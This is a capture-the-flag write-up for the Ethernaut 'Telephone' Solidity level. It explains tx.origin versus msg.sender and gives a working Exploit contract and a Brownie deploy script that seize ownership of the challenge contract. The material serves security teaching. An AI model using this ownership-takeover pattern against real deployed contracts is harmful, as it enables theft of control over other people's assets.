Ethernaut solution 4: Telephone.

Ethernaut solution 4: Telephone.

Understand how tx.origin and msg.sender works.

Let's continue with the next challenge: Telephone.

Taking a look into the contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

We simply had a constructor that sets the whoevers deployed the contract as the variable owner.

Then, we have a function that allows us to change the owner, by passing through the address of whoever we want to be the new owner.

The thing is we can only execute the function if tx.origin, (whatever that means, more on that later) and msg.sender (the actual address who is doing that call) are not the same.

Explaining some concepts.

tx.origin

tx.origin = this is just another global variable of solidity that lets us know who is the sender/ signer of the transaction.

But , wait… it's like msg.sender?? They are pretty similar, right? Yeah! But they are way too different.

msg.sender allows us to know the current sender of a message! (the message is the data field of a transaction) For example, when you are deploying a contract and you want to set the owner of that contract as whoever is deploying it, you you can read from your contract who is sending that transaction by using msg.sender, because you are the current sender of that message (in this case the message is the bytecode of the contract you are deploying)

But, you can also use tx.origin because you also are the current sender/ signer of the transaction.

The difference between those two is that msg.sender reference the current sender of a message whereas tx.origin reference the sender/signer of the transaction (the Externally Own Account (EOA) who first send the transaction)

If you remember our last article, contracts cannot send/sign transactions, they only can send messages, so tx.origin will always be a EOA, whereas msg.sender could be a EOA or a contract address.

Lets explain this with an example

There is you, an EOA, and you want to invoke the function hello() in contract A,and that hello() function invokes another function in contract B, let's call it hello2()

So, the flow would be something like:

  1. EOA send/sign a transaction in where it invokes hello() function in contract A

In this part, you are the tx.origin (because you are the actual sender/signer of the transaction) and at the same time you are msg.sender because you are the current sender of the message, the message in this case will be the function signature of hello())

  1. Then, hello() calls the function hello2() in contract B

In this case, you still will be tx.origin (because you are the sender of the original transaction, the one who start (origin) all the process) but msg.sender will be contract A because it's the actual sender of the message, in this case the function signature of hello2()

And this can continue until you consume all the gas of the transaction. The thing to remember is: tx.origin will always be an EOA (whoever who inits/ origin) the transaction and msg.sender will be the address of whatever entity who is currently sending the message, it could be an EOA or it could be a contract (remember that contract have their own addresses in the ethereum network)

Lets hack the contract,

We have to claim the ownership of the contract to be able to hack it. To be able to do that we have to pass through that if statement. So our tx.origin and our msg.sender have to be different

As you may figured out we can achieve this creating a contract (lets call it Exploit) and having a function that calls the changeOwner function. So the address of the Exploit contract will be the msg.sender, but the tx.origin will be whoevers who calls the function in the exploit contract (that's you)

Lets create the contract, remember, to he able to call función of others contract inside our contract we need it's address and it's interface

So Let's create the interface

pragma solidity 0.8.8;

interface ITelephone {
    function changeOwner(address _owner) external;
    function owner() view external returns(address);
}

Now Lets instantiate the contract in our contract.

import '../interfaces/ITelephone.sol';

contract Exploit {

    ITelephone contractInstance;

    constructor(address _addr) {
        contractInstance = ITelephone(_addr);
    }
}

Finally, we simply create a function that calls the changeOwner function of the Telephone Contract.

    function hack() external {
        contractInstance.changeOwner(msg.sender);
    }

Lets create the script to deploy and call the function

def hack():
    # grab the Telephone contract Object
    instance_contract = interface.ITelephone(INSTANCE_ADDRESS)
    # deploy the exploit contract
    exploit_contract = Exploit.deploy(INSTANCE_ADDRESS, {"from": ACCOUNT})

    # hack the contract
    tx = exploit_contract.hack({"from": ACCOUNT})
    tx.wait(1)

    print(f"Contract has been hacked. {instance_contract.owner()} is the new owner")

def main():
    hack()

Let's run it

$ brownie run scripts/hack.py

Now, submit the instance, you can follow the process from my previous post.

That's it!

image.png

NOTE: Take into account that using tx.origin is not really recommended when you are transferring money based on who is sending the transaction, the solidity documentation has a great explanation about it

So, only use tx.origin in those cases where you are pretty sure about what you are doing.


You can grab the complete solution in this github repo

If you have a comment or a suggestion please leave it in the section comments, also if you see any problem with the code feel free to make PR

You can follow me on my twitter @kevbto and DM me, I’m always happy to talk and know more people of this amazing community

Stay tuned for the next Ethernaut solution: Token.